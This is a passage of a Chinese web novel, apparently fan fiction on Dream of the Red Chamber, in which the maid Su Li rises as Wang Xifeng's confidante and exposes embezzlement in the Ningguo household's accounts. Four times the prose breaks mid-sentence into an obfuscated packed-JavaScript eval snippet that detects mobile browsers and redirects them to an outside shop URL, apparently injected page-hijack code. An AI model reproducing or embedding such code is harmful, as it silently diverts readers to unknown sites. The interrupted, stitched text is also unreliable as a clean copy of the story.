王熙凤嗯了一声，不再多说。但苏璃知道，经过此事，自己在王熙凤心中的分量，又重了几分。她不仅有能力，更有应对危机的心智和手段。 回到厨房，李嫂子等人见了她，眼神躲闪，再不敢有半分轻视。那试图织网将她困住的人，反而被网的余势扫中，狼狈不堪。 然而，苏璃并未感到轻松。周瑞家的今日虽未直接出面，但那隐隐的身影，让她意识到，暗处的敌人，远比明面上的更棘手。 她看着窗外渐渐西沉的落日，目光沉静。这深宅大院，从来就不缺风波。今日她能凭借谨慎和一点“小惠”破局，明日呢？ 15. 凤姐心腹 寿宴风波过后，厨房里再无人敢明着与苏璃作对。李嫂子等人见了她，如同老鼠见了猫，远远便垂下头，恨不得缩进墙缝里。 那日的雷霆手段与滴水不漏的应对，让所有人都看清了这个看似沉静的少女手腕是何等老辣。 苏璃并未因此放松，反而将厨房的规矩梳理得更加严密。她设计了一套简单的表格，将每日采买、入库、领用、结余分门别类，要求各环节负责人签字画押，账目一目了然。又根据各房反馈，微调了食材分配，既堵住了漏洞，也让底下人少了些怨气。 这些变化悄无声息，却让厨房的运转效率提升了不少。连平儿偶尔过来，都忍不住对王熙凤感叹：“如今那厨房，倒是比先前清爽多了，账目清楚，物件也摆放得齐整，柳絮妹妹着实费了心思。” 王熙凤听着，不置可否，只淡淡道：“是个能办事的。” 这日午后，王熙凤歪在炕上小憩，苏璃在一旁轻轻打着扇。窗外蝉鸣聒噪，屋内冰盆散发着丝丝凉气。 王熙凤忽然开口，声音带着一丝慵懒：“柳絮，你觉得……周瑞家的如何？” 苏璃心中微凛，打扇的手顿了顿，随即恢复如常，轻声回道：“周妈妈是府里的老人，奴婢不敢妄加评议。” “哼，老人？”王熙凤嗤笑一声，凤眸微睁，闪过一丝冷光，“就是这些‘老人’，仗着几分体面，背地里不知捞了多少油水，还当别人都是瞎子！”她顿了顿，目光落在苏璃身上，“这次寿宴的事，你做得很好。没让那些魑魅魍魉得了逞。” 苏璃垂下眼帘：“是奶奶运筹帷幄，奴婢只是依令行事。” 王熙凤摆摆手，显然不爱听这些虚话。她坐起身，接过苏璃递上的温茶抿了一口，语气变得郑重了些：“往后，外面几个庄子上送来的年例、租子账目，你也帮着平儿一起看看。还有府里一些人情往来的礼单，你也多留心。” 苏璃心头一震。庄子的年例租子，那是贾府重要的收入来源；人情往来的礼单，则牵扯到庞杂的关系网络。王熙凤将这二者交给她“看看”、“留心”，意味着她已真正进入了核心的理财圈子，成了名副其实的“心腹”。 “是，奶奶。奴婢定当仔细，不负奶奶信任。”苏璃压下心中的波澜，恭声应道。 王熙凤点点头，又靠了回去，闭上眼，仿佛只是随口吩咐了一件小事。 但从这一天起，苏璃接触到的东西，已然不同。她看到的不再是厨房的米面粮油，而是贾府田庄的产出、铺面的盈亏，以及那张维系着家族体面与关系、用真金白银织就的巨大的人情网。 她愈发谨慎，每日除了伺候王熙凤，便是埋首于各种账册礼单之间。她的字迹工整清晰，记录条理分明，计算更是从未出过差错。平儿与她配合默契，许多琐碎账目交由她初步核算，平儿复核起来轻松不少，对她更是亲近信赖。 这日，苏璃正在核对江南老宅送来的一批土仪礼单，就听外面小丫鬟笑道：“林姑娘来了！” 只见黛玉扶着紫鹃的手，袅袅娜娜地走了进来。她今日穿着月白绣梅花锦缎袄，系着一条淡青撒花裙，越发显得弱不胜衣，我见犹怜。 “给二嫂子请安。”黛玉声音轻柔，如同春风拂过琴弦。 王熙凤见到她，脸上露出真切的笑容，忙招手让她到身边坐下：“快过来坐，这大热天的，你怎么过来了？可是缺了什么短了什么？” 黛玉浅浅一笑：“并无短缺，只是整日在屋里闷着，想来和二嫂子说说话。”她目光流转，落在炕几上摊开的账册和礼单上，以及侍立在一旁的苏璃身上，眼中闪过一丝不易察觉的讶异。 王熙凤顺着她的目光看去，笑道：“这是柳絮，如今帮着我看看些账目。”又对苏璃道，“还不给林姑娘见礼。” 苏璃上前，规规矩矩地行了一礼：“给林姑娘请安。” 黛玉微微颔首，目光在苏璃身上停留了一瞬。她虽不大理会俗务，但也隐约听过这个丫鬟的名头，知道她颇得凤姐姐倚重。此刻见她眉目清秀，举止沉静，与寻常丫鬟迥异，心中便存了几分印象。 王熙凤与黛玉说了一会儿话，多是些姐妹间的闲谈。苏璃安静地在一旁伺候，添茶倒水，并不多言。 临走时，黛玉似无意间对王熙凤说了一句：“二嫂子身边有这般得力的人帮衬，倒是省心不少。” 王熙凤笑道：“不过是些死物事，让她帮着打理罢了，终究比不上妹妹这般灵秀人物。” 黛玉微微一笑，扶着紫鹃去了。 苏璃将黛玉送出房门，回来时，见王熙凤正拿着那本江南礼单，若有所思。 “这林丫头，心思倒是细腻。”王熙凤忽然没头没尾地说了一句。 苏璃没有接话，心中却明白。黛玉方才那句话，看似随口一提，实则点出了王熙凤对她的倚重。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908588|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位心思玲珑的表小姐，只怕也已看出了她在这院中的不同。 又过了几日，王熙凤吩咐苏璃：“明日你随我去一趟库房，清点一下年底要用的各色绸缎尺头。” 次日，苏璃跟着王熙凤和平儿到了库房。偌大的库房里，堆积着各色物品，琳琅满目。王熙凤一边查看，一边随口问着一些物品的存量、往年使用情况，苏璃竟大多能对答如流，显然平日下了苦功记忆。 王熙凤眼中赞许之色愈浓。 清点到一批新进的宫缎时，王熙凤拿起一匹宝蓝色的，在平儿身上比了比，摇头道：“这颜色太老气，不适合你。”又拿起一匹水红色的，看向苏璃，“柳絮，你过来。” 苏璃一怔，上前。 王熙凤将那匹水红色的宫缎在她身上大致一比，点了点头：“这颜色倒是衬你。这匹料子，赏你了。” 库房里还有其他几个跟着来的管事媳妇，闻言都露出惊诧之色。宫缎贵重，绝非寻常丫鬟能享用。二奶奶这般赏赐，简直是天大的脸面！ 苏璃也是心头剧震，连忙推辞：“奶奶，这太贵重了，奴婢万万不敢受。” “给你就拿着。”王熙凤语气不容置疑，“你如今常在我跟前走动，穿得太素净了也不像样。平儿，回头让人给她裁身新衣裳。” “是，奶奶。”平儿笑着应下，看向苏璃的目光带着由衷的欣喜。 苏璃知道，这不仅仅是赏赐，更是一种身份的宣告。王熙凤是在告诉所有人，柳絮是她看重的人，是她的心腹。 她不再推辞，深深一福：“谢奶奶赏。” 捧着那匹光滑冰凉的宫缎，苏璃能感受到周围那些管事媳妇们目光中的复杂情绪，那是羡慕，是嫉妒，更是深深的敬畏。 从库房出来，午后的阳光有些刺眼。苏璃微微眯起眼，看着走在前方王熙凤那窈窕而充满威势的背影。 她知道，自己如今真正成了“凤姐心腹”，站到了这荣国府内宅权力格局的前沿。风光背后，是更深的卷入，是更多双眼睛的注视，也是更沉重的责任与危险。 王熙凤的信任与倚重，是她安身立命的根本，却也是一把悬在头顶的双刃剑。 她深吸一口气，将怀中那匹宫缎抱得更紧了些。既然已踏上这条路，便只能向前，不能后退。 只是不知，这份突如其来的“殊荣”，又会在这看似平静的府邸里，激起怎样的波澜。 16. 协理宁国府？ 王熙凤赏赐宫缎的消息，像长了翅膀一样飞遍荣国府上下。羡慕者有之，嫉妒者有之，更多是深深的敬畏。 谁都知道，柳絮这个名字，如今已不仅仅是“会算账的丫头”，而是二奶奶跟前真真正正的红人，是能影响银钱流向、甚至能在奶奶耳边递上话的“凤姐心腹”。 苏璃依旧沉静，将那匹惹眼的宫缎仔细收好，并未立刻裁衣。木秀于林的道理她懂，此刻更需低调。她将更多精力投入到王熙凤交代的新差事：协助平儿核对各处庄子的年例租子。 这一看，才更真切地触碰到贾府这艘巨轮水下那庞大的冰山。田庄收成、铺面红利、人情往来……账目繁杂庞大，虽表面光鲜，但细究之下，各处都有不小的窟窿。 年例一年比一年难收，支出却如流水般只增不减。苏璃一边整理，一边在心中默默计算，越算越是心惊。这贾府的财政，竟已到了如此岌岌可危的地步？全靠昔日底蕴和王熙凤左支右绌地腾挪勉强维持。 这日，她正对着一笔江南织造府送来、价值不菲却用途含糊的“节敬”出神，平儿悄悄进来，低声道：“妹妹，奶奶叫你呢，东府珍大奶奶来了，脸色不大好。” 苏璃心中一凛，收拾好账册，跟着平儿来到正房。 只见尤氏果然坐在那里，眼圈微红，面带愁容，正拿着帕子拭泪。王熙凤在一旁陪着，脸上也带着几分无奈。 “……你是不知道，我们那边如今乱成了什么样子！”尤氏声音带着哽咽，“我们爷一味高乐，哪里肯在这些俗务上用心？下面的人一个个欺上瞒下，账目一塌糊涂，这个月连丫鬟婆子的月钱都支应得艰难。我实在是……实在是没法子了，才来求妹妹你帮我想个主意。” 王熙凤叹了口气，劝道：“大嫂也别太着急，总能想法子的。只是我这边的境况，你也知道，也是拆东墙补西墙，实在分不出多少精力……” 尤氏忙道：“不敢劳妹妹亲自操心。只是……我听说你跟前有个极得用的丫头，叫柳絮的，最是精明能干，连厨房那么乱的地界都能打理得清清楚楚。不知……不知能否借她过去几日，帮我把那边的账目理一理，也震慑一下那些无法无天的奴才？” 此话一出，不仅苏璃心中一震，连王熙凤眼中都闪过一丝极快的讶异。 借人？协理宁国府？ 苏璃立刻垂下头。这可是个烫手山芋。宁国府的情况比荣国府更糟，贾珍荒唐，贾蓉不成器，下人更是毫无顾忌。自己一个荣国府的丫鬟过去，名不正言不顺，稍有不慎，便是里外不是人，极易成为两府矛盾的焦点。尤氏此举，是真无人可用，还是想借刀杀人，或是另有图谋？ 王熙凤沉吟着，没有立刻回答。她端起茶杯，轻轻拨动着杯盖，目光在尤氏和苏璃身上扫过。 尤氏见状，又哀声道：“好妹妹，就当嫂子求你了。总不能眼看着那边彻底败落下去，丢了咱们两府的脸面。只需借柳絮姑娘十天半月，帮着理清头绪，立个规矩就好。一应事宜，自然还是我做主，绝不会让她为难。” 房间里静默下来，只听得见尤氏细微的抽泣声。 苏璃心念电转。去，风险极大，宁国府是个泥潭。不去，尤氏亲自开口相求，王熙凤若断然拒绝，未免伤了和气，也显得她吝啬，不肯帮扶亲戚。 片刻，王熙凤放下茶杯，脸上露出恰到好处的为难与权衡：“大嫂既然开口，我本不该推辞。只是柳絮这丫头，年纪轻，经历浅，只怕担不起如此重任，万一办砸了，反倒误了大嫂的事。” 尤氏忙道：“妹妹过谦了！柳絮姑娘的本事，我是亲眼见过的，寿宴那事就处置得极好。只要妹妹肯放人，我必定将她奉为上宾，绝不让她受半点委屈！” 王熙凤目光转向苏璃，语气听不出喜怒：“柳絮，珍大奶奶如此看重你，你可愿意过去帮衬几日？” 所有人的目光都集中到了苏璃身上。 她知道，这不是征求她的意见，而是王熙凤要将决定权看似交给她，实则是看她如何应对。答应，是为主分忧；不答应，是自知之明。无论哪种，都需说得恰到好处。 苏璃上前一步，恭恭敬敬地行了一礼，声音清晰而沉稳：“回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908589|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶奶，珍大奶奶。承蒙珍大奶奶看重，奴婢感激不尽。能为奶奶和大奶奶分忧，是奴婢的本分。只是奴婢毕竟是荣国府的人，年纪又轻，骤然去东府理事，于礼不合，也恐难以服众。若因此给两府平添麻烦，奴婢万死难辞其咎。” 她先表明态度，愿意分忧，再将难题点出，例如名分和服众等事情。 尤氏立刻道：“这有何难？我予你对牌，见对牌如见我！哪个敢不服，直接撵出去！” 王熙凤听了苏璃的话，眼底闪过一丝满意。这丫头，果然是个明白的。她沉吟道：“既然大嫂执意要用你，也是你的造化。这样吧，对外只说是大嫂请你过去帮着整理一段时日账目，对牌可暂领，但遇大事，还需回禀大嫂定夺。你需谨记本分，事事以大嫂为主，不可擅专。若觉力有不逮，即刻回来，不得逞强。” 这番话，既给了尤氏面子，允了借人，又划清了界限，强调了苏璃是“帮忙”而非“接管”，更留了退路。 苏璃心领神会，躬身应道：“是！奴婢谨遵奶奶教诲，定当竭尽全力，不负珍大奶奶信任，亦不敢堕了奶奶的颜面。” 尤氏见事成，脸上终于露出笑容，连声道：“多谢妹妹！多谢妹妹！柳絮姑娘，日后就多劳你费心了。” 事情就此定下。 从正房出来，尤氏又拉着苏璃说了几句客气话，约定三日后便派人来接，方才离去。 平儿陪着苏璃往回走，低声道：“妹妹此去，务必万事小心。东府那边……关系复杂，不比咱们这里。” 苏璃点头：“谢平儿姐姐提醒，我晓得轻重。” 回到小屋，苏璃看着窗外，心情复杂。协理宁国府？这原本是王熙凤的戏码，如今竟落到了自己头上。是机遇，也是巨大的挑战。她知道，自己这一步踏出去，便真正卷入了宁荣二府最核心的纠葛之中。 前方等待她的，是比厨房更加盘根错节的利益网络，是比周瑞家的更加难缠的对手，还有那宁国府深宅里，不为人知的隐秘与污浊。 三日后，她将只身踏入那片更为混沌的水域。 17. 锋芒初显 三日后，宁国府派了辆青绸小车来接。苏璃只带了一个小包袱，里面装着几身换洗衣裳和最重要的算盘、纸笔。 王熙凤特意让平儿送她到二门上，拍了拍她的手，低声道：“记住我的话，凡事留三分。”苏璃点头，深吸一口气，登车而去。 宁国府与荣国府规制相仿，却透着一股不同的气息。相较于西府的富贵雍容，东府更显奢靡张扬，连廊下伺候的小厮丫鬟，眉宇间都带着几分漫不经心的懈怠。 尤氏将苏璃安置在一处僻静的小院落，离正房不远不近，既显重视，又不至于太过惹眼。 她当着几位管事媳妇的面，将一枚沉甸甸的鎏金对牌交到苏璃手中，语气郑重：“柳絮姑娘，往后府中账目一应事宜，皆由你暂代清查。见此对牌，如我亲临，若有那起子刁奴不服管教，或是账目不清，你只管来回我，定不轻饶！” 底下站着的几个管事媳妇，如赖升家的、俞禄家的等，面上恭敬应着，眼神却各异。有好奇，有不屑，更有毫不掩饰的敌意。一个西府过来的黄毛丫头，拿着鸡毛当令箭，就想在宁国府这潭深水里搅风浪？真是笑话！ 苏璃将众人神色尽收眼底，双手接过对牌，神色平静无波：“谢大奶奶信任。奴婢定当恪尽职守，尽力而为。只是初来乍到，诸多规矩不甚明了，还需诸位妈妈、嫂子多多指点。” 态度谦逊，话却留了余地。 尤氏又交代了几句，便让赖升家的带苏璃去账房。 宁国府的账房，比荣国府的更为混乱。账册堆积如山，纸张泛黄，墨迹潦草，更有许多单据散落四处，沾着油渍污垢。空气中弥漫着一股陈年灰尘与霉味混合的气息。 赖升家的皮笑肉不笑：“柳絮姑娘，府里往年账目都在此处了。您慢慢看，若有什么需要，只管吩咐。”说完，便借口有事，匆匆离去，留下两个一脸茫然的小账房。 苏璃并不在意。她挽起袖子，吩咐两个小账房打来清水，自己亲自动手，先将账房打扫干净，再将账册单据分门别类。她动作麻利，条理清晰，不过半日功夫，原本杂乱无章的房间便显出了几分秩序。 接下来的几天，苏璃足不出户，埋首于故纸堆中。她并不急于查问人事，而是先从最基础的账册入手，理清宁国府近年来的收支脉络。越看越是心惊。 宁国府的亏空，远比荣国府更为严重。收入来源单一，主要依靠几处田庄和两个铺面，但账上显示，田庄收成连年递减，铺面更是常年亏损。而支出却大得惊人，除了日常用度，更有许多名目模糊的大额开销，诸如“香料采买”、“古董修缮”、“道场法事”等等，动辄数百两银子，去向成谜。 她注意到，许多有问题的账目，都指向几个关键人物：外管家赖升，负责采买；俞禄，负责田庄收租；以及一个名叫焦大的老仆，虽无具体职司，但账上常有以“马棚杂项”为名的小额支取，累积起来却也不少。 这日，她正对着一笔“重阳节敬神香料采买，支银二百两”的账目皱眉，单据上只有赖升一人的画押。她记得荣国府类似采买，最多不过数十两。 恰巧俞禄家的来送新收的庄子上来的瓜果，顺道“看看”苏璃的进展。见苏璃盯着那笔账，便阴阳怪气地笑道：“柳絮姑娘可是觉得这账目有何不妥？咱们府上向来敬神心诚，这香料都是顶好的，自然价钱也贵些。赖管家办事，可是最稳妥不过的。” 苏璃抬头，看了她一眼，淡淡一笑：“俞妈妈误会了，奴婢只是觉得这香料名贵，不知是何处采买？何种品类？若是合用，或许西府老太太那边也可参照着备办一些。” 俞禄家的没料到她如此回应，噎了一下，含糊道：“这……都是赖管家经手，具体何处，老婆子倒不清楚。” 苏璃点点头，不再追问，只在心中记下一笔。 又过两日，苏璃开始调阅库房记录。宁国府的库房管理更是混乱，许多贵重物品，如人参、鹿茸、皮货等，出库记录含糊，甚至只有支取人，没有用途。 她发现一批上等的貂皮，账上记录是三年前入库，共计二十张，此后便再无记录。她询问库房管事，管事支支吾吾，只说可能赏了人，或是大爷、小爷们拿去用了。 苏璃不动声色，转而查问府中日常用度。她发现各房主子、尤其是贾珍、贾蓉父子的份例，远超定规，且常有额外索取。下人的月钱，也时有拖欠克扣。 她心中渐渐勾勒出宁国府的轮廓：主子奢靡无度，下人层层盘剥，管理彻底失控，硕鼠横行。 时机渐渐成熟。 这日，苏璃请尤氏示下，召集府中所有有职司的管事仆役到前厅。众人稀稀拉拉到来，交头接耳，不知这西府来的丫头要唱哪一出。 苏璃站在厅中，身姿挺拔，手中捧着几本账册和对牌。她目光平静地扫过众人，在赖升、俞禄等人脸上略微停顿。 “奉大奶奶之命，清查府中账目，已有数日。”她开口，声音不大，却清晰地传到每个人耳中，“今日请诸位前来，是有几处账目不明，需向诸位请教。” 她翻开一本账册，语气平稳，却带着不容置疑的力度：“其一，去岁重阳，采买敬神香料，支银二百两。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908590|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 据我所知，市面上等檀香、沉香，其时市价几何，在座或有知晓。此笔采买，无具体品类、数量记录，亦无旁人经手见证，仅赖管家一人画押。敢问赖管家，此香采买自何处，何种品类，数量几何，用于何处道场？可有剩余？” 赖升没料到她竟敢直接发难，且问得如此具体，脸色顿时一变，强自镇定道：“此乃……乃是城外白云观道长所需，具体品类繁杂，一时记不清了。早已用完，并无剩余。” 苏璃点点头，并不纠缠，又翻一页：“其二，三年前入库上等貂皮二十张，此后库房再无记录。请问库房管事，此批貂皮现今何在？” 库房管事冷汗直冒，看向赖升，讷讷不能言。 苏璃目光转向俞禄：“其三，城南田庄去岁报称水灾，减免租子三成。然我查阅同期天气记录，并无大涝记载。且减免数额，与庄户数量、田亩数目似有不符。敢问俞管事，减免租子的具体庄户名单、田亩数目，可还留存？” 俞禄脸色发白，嘴唇哆嗦着，说不出话来。 苏璃一连问了七八处漏洞百出的账目，条理清晰，数据确凿，直指核心。她并不高声斥责，只是平静地陈述疑问，却让被问及的人如坐针毡，汗流浃背。厅中一片死寂，先前那些不屑、轻视的目光，早已被震惊和恐惧取代。 这西府来的丫头，哪里是个好糊弄的？她这几日不声不响，竟已将账目摸得如此透彻！字字句句，都敲在他们的要害上！ 尤氏坐在上首，看着底下众人的狼狈相，又看看厅中那个沉静如水、却锋芒逼人的少女，心中五味杂陈。她既觉出了口恶气，又隐隐生出一丝忌惮。这柳絮，果然厉害！ 苏璃合上账册，看向尤氏，恭声道：“大奶奶，奴婢初步核查，账目疑点便有如许之多。其中或有疏漏，但更多恐是人为。若不彻查，恐府库日渐空虚，难以维系。” 赖升等人闻言，面如死灰。 尤氏深吸一口气，知道此刻必须立威，沉下脸道：“岂有此理！竟敢如此欺瞒主子！柳絮姑娘，你继续查！一查到底！我倒要看看，是谁如此胆大包天！”她又对赖升等人厉声道，“你们几个，从今日起，停职反省！所有账目、对牌，一律交予柳絮姑娘核查！若有隐瞒，家法处置！” 一场雷霆风暴，骤然降临宁国府。 苏璃手持对牌，立于风暴中心，神色依旧平静。她知道，这仅仅是开始。真正的较量，还在后头。赖升、俞禄这些盘踞多年的地头蛇，绝不会坐以待毙。而她今日显露的锋芒，也已将自己彻底推到了宁国府所有既得利益者的对立面。 18. 凤姐赠名 宁国府的风波，如同投入静湖的巨石，涟漪迅速荡回了荣国府。 苏璃在东府雷厉风行、连查数位管事的消息，不过两三日工夫，便已传得西府人尽皆知。 下人们议论纷纷，有拍手称快的，也有暗自心惊的，更有那起子与东府管事有牵连的，如周瑞家的、来旺家的，闻讯后更是坐立难安，看向苏璃原先住的那小屋方向，眼神都带着刺骨的寒意。 “好个柳絮！真真是咬人的狗不叫！”周瑞家的在自己屋里，气得摔碎了一个茶盅，胸口剧烈起伏，“竟让她在東府也逞起威风来！再这般下去，这府里还有我们的立足之地吗？” 而荣国府的核心院落里，气氛却截然不同。 王熙凤歪在炕上，听着平儿细声回报东府传来的消息，唇角噙着一丝若有若无的笑意。当听到苏璃如何条分缕析、当众质问得赖升、俞禄等人哑口无言时，她终于轻笑出声，凤眸中流光溢彩。 “好！果然没让我看走眼！”她抚掌赞道，语气里带着毫不掩饰的激赏，“原只当她是个算盘珠子拨得好的，没成想，竟有这般魄力！尤嫂子这次，算是请对了人，也……请了个煞星回去！” 平儿也笑着附和：“可不是么？柳絮妹妹看着不言不语的，办起事来竟这般干脆利落。东府那些积年的老油子，这次可算是碰上克星了。” 王熙凤心情极好，连日来因府中琐事带来的烦闷都消散了不少。她沉吟片刻，忽道：“柳絮这名字，听着终究是小家子气了些，配不上她如今办的这些事。” 平儿心思灵动，立刻接话：“奶奶说的是。‘柳絮’二字，轻飘无根，听着便不贵重。妹妹如今替奶奶独当一面，是该有个更响亮些的名字才是。” 王熙凤点点头，指尖轻轻敲着炕几，若有所思：“她姓苏……单名一个‘璃’字如何？琉璃之璃，澄澈明净，质地坚硬，可映照万物，亦能折射光华。望她心若琉璃，通透明白，身若琉璃，坚不可摧。” “苏璃……”平儿细细品味着这两个字，眼中一亮，“琉璃易碎，却需烈火淬炼方能成器。奶奶这名字取得极好，寓意深长呢！” “既如此，便这么定了。”王熙凤一锤定音，“等她从东府回来，就改了这个名。你吩咐下去，让府里人都知晓。” “是。”平儿笑着应下。 又过了七八日，宁国府那边初步的账目清理告一段落。赖升、俞禄等人虽未立刻被革职，但权柄已被架空，尤氏借着苏璃查出的实证，狠狠发作了一批人，收回了不少亏空，府中风气为之一肃。 苏璃见好就收，将整理清晰的账册和后续管理建议呈报尤氏后，便提出辞行。 尤氏此番受益良多，虽对苏璃心存忌惮，但面上却是十足的感激，赏了不少东西，又亲自将她送回西府，对着王熙凤好一番夸赞。 苏璃回到荣国府，先去王熙凤处回话。 王熙凤见她虽清减了些，但眼神愈发沉静明亮，通身的气度与数月前那个杂役院的粗使丫头已是云泥之别，心中更是满意。 “这趟差事，你办得很好。”王熙凤语气温和，带着显而易见的倚重，“辛苦了。” 苏璃垂首：“为奶奶分忧，是奴婢的本分。” 王熙凤笑了笑，对平儿使了个眼色。平儿会意，端着一个红漆雕花托盘上前，上面放着一套崭新的衣裳，从里到外，料子做工皆属上乘，并非丫鬟规制，倒像是小户人家小姐的穿戴。另有一支赤金点翠的簪子，虽不十分华丽，但做工精巧，价值不菲。 “你在东府立了功，这是赏你的。”王熙凤淡淡道，“还有，我与你改个名字。‘柳絮’二字，终非长久之计。从今日起，你便叫‘苏璃’。琉璃之璃，望你心明眼亮，堪当大任。” 苏璃（自此改称苏璃）猛地抬头，眼中闪过一丝真正的震动。 改名！ 这在这个时代，是极大的恩典和认可，意味着主子将其真正视为“自己人”，寄予厚望。更何况，“苏璃”本就是她之名，此刻听来，恍如隔世，又带着一种奇异的宿命感。 她压下翻涌的心绪，深深叩首下去，声音带着一丝不易察觉的微颤：“苏璃……谢奶奶赐名！定不负奶奶厚望！” “起来吧。”王熙凤虚扶一下，“往后，你便跟平儿一样，在我屋里伺候。外面庄子、铺面的一些账目，你也多上心。府里如今是个什么情形，你心里当有数，能省则省，能揽则揽，需得你多费心了。” 这番话，便是正式将核心的财政大权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908591|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，交托了一部分到她手中。其信任与倚重，远超以往。 “是，奶奶。”苏璃恭声应下。 捧着赏赐回到重新安排的下处，一个单独的小小厢房，苏璃看着托盘里那支金簪和那叠新衣，久久无言。“苏璃”这个名字，如同一个烙印，宣告着她与过去那个卑微的“柳絮”彻底告别。王熙凤的赏识和提拔是真，但随之而来的，是更深的卷入，是更高的位置，也是更明显的靶心。 她知道，从这一刻起，她不再是那个可以偶尔藏拙的“算账丫鬟”，而是真正绑在了王熙凤这架战车上的“自己人”，一荣俱荣，一损俱损。 凤姐赠名“苏璃”的消息，如同长了翅膀，迅速传开。引起的震动，比她在东府查账更甚。 下人们再提起她，语气都变了。“柳絮姑娘”成了“苏璃姑娘”，那名号里带着的，是实实在在的权柄和体面。 就连贾琏在院里撞见她，都特意停下脚步，打量了她几眼，咂咂嘴，对王熙凤道：“如今你身边这个，可是名副其实的‘璃姑娘’了，了不得啊。” 王熙凤啐他一口，眼里却带着得意。 然而，暗处的反应更为激烈。 周瑞家的听到消息，直接砸了手里的针线篮子，脸色铁青：“苏璃？！她也配！不过是个家生奴才，竟也敢用这等名字！凤丫头真是被她灌了迷魂汤！” 来旺家的在一旁添油加醋：“姐姐小声些！如今她正得势，连东府都让她搅得天翻地覆，咱们且避其锋芒……” “避？再避下去，这府里还有我们站的地方吗？”周瑞家的眼神阴鸷，“她如今管着账，又得了这个名字，下一步，是不是就要把我们这些老人都清出去了？不能再等了！” 夜色渐深，苏璃在自己新分得的小厢房里，就着灯火，仔细翻阅着王熙凤交给她的一摞外面铺子的账本。窗棂上，忽然传来极轻微的“叩叩”两声。 她动作一顿，吹熄了灯，悄无声息地走到窗边。 窗外，一片寂静，只有风声掠过树梢。 但她知道，有些东西，已经不一样了。凤姐赠名，如同将她推至聚光灯下，光芒万丈，却也阴影丛生。这深宅大院里的暗流，因“苏璃”这个名字，开始更加汹涌地流动起来。 19. 新官上任三把火 王熙凤赠名“苏璃”的余波尚未平息，另一道命令又如惊雷般在荣国府内外院炸响——着苏璃暂代平儿，协理各房月例发放及部分日常开支用度。 这意味着，苏璃不仅掌着外头庄子铺面的账目，如今连府内众人每月最关心的银钱分发，也需经她的手。权柄之重，直追平儿，俨然成了王熙凤手下又一员实权“大将”。 消息传出，府中各处反应迥异。 主子们处，倒没太大波澜。黛玉听紫鹃说起，只淡淡“哦”了一声，继续低头看她的书。探春听闻，眼中闪过一丝了然与赞赏，对侍书道：“凤姐姐果然知人善任。”宝玉更是不理会这些，只念叨着“璃姐姐近日忙，都不来潇湘馆走动”。唯有赵姨娘，在屋里摔摔打打，跟小鹊抱怨：“什么阿猫阿狗都爬到头上来管钱了！月例银子越发难拿了！” 下人们的反应则复杂得多。一些老实当差、与苏璃无甚交集的，只是好奇观望。厨房里曾被她整治过的李嫂子等人，则是又恨又怕，彻底熄了反抗的心思。而周瑞家的、来旺家的、吴新登家的等一众有头脸的管事媳妇，心中却如滚油煎沸。 “这是要架空我们这些老人啊！”吴新登家的在周瑞家的屋里，急得团团转，“月例银子向来是咱们几个经手，如今让她一个黄毛丫头管了，咱们还有什么油水？还有什么脸面？” 来旺家的也咬牙切齿：“她如今手伸得也太长了！外头铺子、里头厨房、现在连月例银子都管！再过几日，是不是咱们这些管事的位置，也要换她的人来坐了？” 周瑞家的坐在炕沿，脸色阴沉得能滴出水来，手里死死攥着帕子，指节发白。她比旁人更清楚苏璃的厉害，也更明白王熙凤此举的深意。这不是简单的提拔，这是要革新，是要打破她们这些老人多年经营的利益网络！ “慌什么！”她终于开口，声音嘶哑，“她一个新官上任，想烧三把火，也得看有没有那个本事！月例银子牵扯众多，稍有差池，便是众怒难犯！” 她眼中闪过一丝狠厉：“咱们且按兵不动，看她如何施为。等她出了纰漏……哼，捧得越高，摔得越惨！” 苏璃自然清楚自己这“新官上任”有多招眼。王熙凤将这副担子交给她，既是信任，更是考验。办好了，地位彻底稳固；办砸了，便是万劫不复。 